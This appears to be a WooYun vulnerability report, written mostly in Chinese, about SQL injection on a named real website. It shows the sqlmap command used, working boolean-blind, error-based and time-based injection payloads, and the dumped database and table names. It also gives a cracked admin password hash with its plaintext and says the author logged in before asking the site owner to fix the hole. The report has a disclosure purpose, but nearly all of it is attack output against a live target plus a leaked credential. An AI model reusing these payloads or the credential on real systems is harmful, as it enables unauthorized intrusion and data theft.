WooYun.org

sqlmap -u "http://www.xichu.net/edu/count/col_stat.php?colid=44" --dbs --batch -v3
---
Place: GET
Parameter: colid
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: colid=44' RLIKE (SELECT (CASE WHEN (5479=5479) THEN 44 ELSE 0x28 END)) AND 'BTzD'='BTzD
Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: colid=44' AND (SELECT 7757 FROM(SELECT COUNT(*),CONCAT(0x7171616571,(SELECT (CASE WHEN (7757=7757) THEN 1 ELSE 0 END)),0x716f727971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zCKO'='zCKO
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: colid=44' AND SLEEP(5) AND 'SSmB'='SSmB
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
available databases [14]:
[*] corp_xichu_www
[*] hello
[*] information_schema
[*] livechat-db-template
[*] mysql
[*] net_xichu_www-------------------------当前
[*] passport
[*] phpadnew
[*] shinyv_product_sqdst
[*] shinyv_product_vblog_sq
[*] shinyv_statistics_1_1_dev
[*] sky
[*] sso_080519
[*] xichubbs
Database: net_xichu_www
[87 tables]
+------------------------------+
| liv_apply_history |
| liv_apply_relate |
| liv_apply_relate_20081119 |
| liv_article |
| liv_article_contentbody |
| liv_autorecord |
| liv_banword |
| liv_baojia_car |
| liv_bid |
| liv_car |
| liv_car_zixun |
| liv_catinfo |
| liv_catinfo_back_20080825 |
| liv_cell |
| liv_cell_back_20080827 |
| liv_cell_mode |
| liv_cell_type |
| liv_client_side |
| liv_cmssetting |
| liv_cmssettinggroup |
| liv_column |
| liv_column_stat |
| liv_column_stat_result |
| liv_column_template |
| liv_comment |
| liv_content_grade |
| liv_content_hits |
| liv_content_material |
| liv_contentmap |
| liv_contentmode |
| liv_datasource |
| liv_datasource_fields |
| liv_datasource_modeassociate |
| liv_dictionary |
| liv_event |
| liv_execution |
| liv_execution_relate |
| liv_fc |
| liv_feed |
| liv_func_prms |
| liv_functions |
| liv_groupinfo |
| liv_gshbm |
| liv_line_bm |
| liv_link |
| liv_link_sort |
| liv_maketmp |
| liv_markrecord |
| liv_material |
| liv_materialtype |
| liv_member |
| liv_member_extra |
| liv_membergroup |
| liv_membergrouprelate |
| liv_mode_apply |
| liv_modules |
| liv_operatelog |
| liv_oplog |
| liv_plan |
| liv_quickmenu |
| liv_recommendation |
| liv_rsscache |
| liv_setting |
| liv_settinggroup |
| liv_signup |
| liv_siteconf |
| liv_sjgw |
| liv_specialword |
| liv_stats |
| liv_stats_brower |
| liv_stats_os |
| liv_stats_page |
| liv_stats_visted |
| liv_store |
| liv_template_back_20080827 |
| liv_template_sort |
| liv_templates |
| liv_user |
| liv_usergroup |
| liv_vote |
| liv_vote_sort |
| liv_webad |
| liv_wf_group |
| liv_workflow |
| liv_workroom |
| liv_workshop |
| liv_wypl |
+------------------------------+
上面还有论坛的数据库
随便找一个MD5 520c00db2ad6014768fbe0f091ac02ad-------sqga110
解开了。。。

然后还登录上去了。。。
当然点到为止。。。。
不继续深入。。。
希望站长尽快修复。。。。
各种跨库。。。。
啊呜。。。。